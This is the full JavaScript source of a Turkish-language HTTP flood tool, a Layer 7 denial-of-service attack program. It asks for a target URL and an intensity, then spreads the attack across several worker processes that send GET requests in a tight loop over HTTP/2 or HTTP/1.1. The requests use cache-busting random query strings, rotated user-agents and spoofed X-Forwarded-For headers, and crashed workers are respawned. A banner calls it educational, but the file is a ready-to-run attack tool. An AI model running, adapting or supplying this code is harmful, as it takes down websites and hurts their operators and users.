const https = require('https');
const http = require('http');
const http2 = require('http2');
const cluster = require('cluster');
const os = require('os');
const url = require('url');
const readline = require('readline');
if (cluster.isMaster) {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
console.clear();
console.log('\x1b[31m═══════════════════════════════════════════════\x1b[0m');
console.log('\x1b[31m ENHANCED LAYER7 FLOOD TOOL\x1b[0m');
console.log('\x1b[31m EĞİTİM AMAÇLIDIR\x1b[0m');
console.log('\x1b[31m═══════════════════════════════════════════════\x1b[0m');
console.log('');
let attackStats = {
workers: [],
url: null,
power: 0,
stats: {
totalRequests: 0,
success: 0,
fail: 0,
startTime: null
}
};
function showStats() {
if (attackStats.workers.length === 0) return;
const elapsed = (Date.now() - attackStats.stats.startTime) / 1000;
const rps = attackStats.stats.totalRequests / elapsed;
console.log('\x1b[36m┌─────────────────────────────────────────────────────┐\x1b[0m');
console.log(`\x1b[36m│\x1b[0m 🎯 Hedef: \x1b[33m${attackStats.url}\x1b[0m`);
console.log(`\x1b[36m│\x1b[0m ⚡ Güç: \x1b[32m${attackStats.power}\x1b[0m | 🧵 Worker: \x1b[32m${attackStats.workers.length}\x1b[0m | ⏱️ ${elapsed.toFixed(0)}s`);
console.log(`\x1b[36m│\x1b[0m 📊 Toplam: \x1b[32m${attackStats.stats.totalRequests.toLocaleString()}\x1b[0m | ✅ Başarılı: \x1b[32m${attackStats.stats.success.toLocaleString()}\x1b[0m | ❌ Başarısız: \x1b[31m${attackStats.stats.fail.toLocaleString()}\x1b[0m`);
console.log(`\x1b[36m│\x1b[0m 📈 RPS: \x1b[32m${rps.toFixed(2)}\x1b[0m | Başarı Oranı: \x1b[32m${attackStats.stats.totalRequests > 0 ? ((attackStats.stats.success / attackStats.stats.totalRequests) * 100).toFixed(1) : 0}%\x1b[0m`);
console.log('\x1b[36m└─────────────────────────────────────────────────────┘\x1b[0m');
}
cluster.on('message', (worker, msg) => {
if (msg.type === 'request') {
attackStats.stats.totalRequests++;
if (msg.success) {
attackStats.stats.success++;
} else {
attackStats.stats.fail++;
}
}
});
cluster.on('exit', (worker, code) => {
const index = attackStats.workers.indexOf(worker.id);
if (index > -1) {
attackStats.workers.splice(index, 1);
if (attackStats.url) {
const newWorker = cluster.fork({
TARGET: attackStats.url,
POWER: attackStats.power
});
attackStats.workers.push(newWorker.id);
}
}
});
function startAttack(targetUrl, power) {
if (attackStats.workers.length > 0) {
console.log('\x1b[31m❌ Zaten saldırı var!\x1b[0m');
return;
}
if (!targetUrl || !targetUrl.startsWith('http')) {
console.log('\x1b[31m❌ Geçersiz URL!\x1b[0m');
return;
}
const numCPUs = Math.min(os.cpus().length, 12);
const finalPower = Math.max(1, Math.min(500, parseInt(power) || 50));
attackStats = {
workers: [],
url: targetUrl,
power: finalPower,
stats: {
totalRequests: 0,
success: 0,
fail: 0,
startTime: Date.now()
}
};
console.log(`\n\x1b[32m🚀 Saldırı başladı! ${targetUrl} | Güç: ${finalPower}\x1b[0m\n`);
for (let i = 0; i < numCPUs; i++) {
const worker = cluster.fork({
TARGET: targetUrl,
POWER: finalPower
});
attackStats.workers.push(worker.id);
}
if (global.statsInterval) clearInterval(global.statsInterval);
global.statsInterval = setInterval(showStats, 1000);
}
// Sadece URL ve Power sor
rl.question('\x1b[36m🎯 Hedef URL: \x1b[0m', (targetUrl) => {
rl.question('\x1b[36m⚡ Power (1-500): \x1b[0m', (power) => {
rl.close();
startAttack(targetUrl.trim(), power.trim() || '80');
console.log('\n\x1b[33m🔥 Saldırı devam ediyor... Durdurmak için Ctrl+C\x1b[0m\n');
});
});
// Ctrl+C ile durdur
process.on('SIGINT', () => {
if (attackStats.workers.length > 0) {
console.log('\n\x1b[31m⛔ Durduruluyor...\x1b[0m');
attackStats.workers.forEach(id => {
if (cluster.workers[id]) cluster.workers[id].kill('SIGTERM');
});
if (global.statsInterval) clearInterval(global.statsInterval);
console.log('\x1b[32m👋 Çıkıldı\x1b[0m');
}
process.exit(0);
});
} else {
// WORKER
const target = process.env.TARGET;
const power = parseInt(process.env.POWER, 10);
const parsed = url.parse(target);
const isHttps = parsed.protocol === 'https:';
const port = parsed.port || (isHttps ? 443 : 80);
const uaList = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/130.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 Chrome/129.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/128.0.0.0 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 Version/17.5 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'
];
function randomUA() { return uaList[Math.floor(Math.random() * uaList.length)]; }
function randomIP() { return `${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}`; }
function randomPath() {
const base = parsed.path || '/';
return `${base}?${Math.random().toString(36).substring(2, 10)}=${Math.random().toString(36).substring(2, 10)}`;
}
let http2session = null;
function createSession() {
if (http2session) http2session.destroy();
try {
http2session = http2.connect(target, {
settings: { enablePush: false, initialWindowSize: 65535 * 4, maxConcurrentStreams: 300 }
});
http2session.on('error', () => { http2session = null; });
http2session.on('close', () => { http2session = null; });
} catch (e) { http2session = null; }
}
if (isHttps) createSession();
let agent;
if (isHttps) {
agent = new https.Agent({ keepAlive: true, maxSockets: Infinity, maxFreeSockets: 256 });
} else {
agent = new http.Agent({ keepAlive: true, maxSockets: Infinity, maxFreeSockets: 256 });
}
function sendRequest() {
const path = randomPath();
let success = false;
try {
if (http2session) {
const headers = {
':method': 'GET',
':path': path,
':authority': parsed.host,
':scheme': 'https',
'user-agent': randomUA(),
'x-forwarded-for': randomIP()
};
const stream = http2session.request(headers);
stream.on('error', () => {});
stream.end();
success = true;
} else {
const options = {
hostname: parsed.hostname,
port: port,
path: path,
method: 'GET',
headers: {
'User-Agent': randomUA(),
'X-Forwarded-For': randomIP(),
'Connection': 'keep-alive'
},
agent: agent,
timeout: 5000
};
const req = (isHttps ? https : http).request(options, (res) => {
res.resume();
success = true;
});
req.on('error', () => { success = false; });
req.on('timeout', () => { req.destroy(); success = false; });
req.end();
}
} catch (err) {
success = false;
}
process.send({ type: 'request', success });
}
function floodLoop() {
for (let i = 0; i < power; i++) {
sendRequest();
}
setTimeout(floodLoop, 5 + Math.floor(Math.random() * 5));
}
floodLoop();
}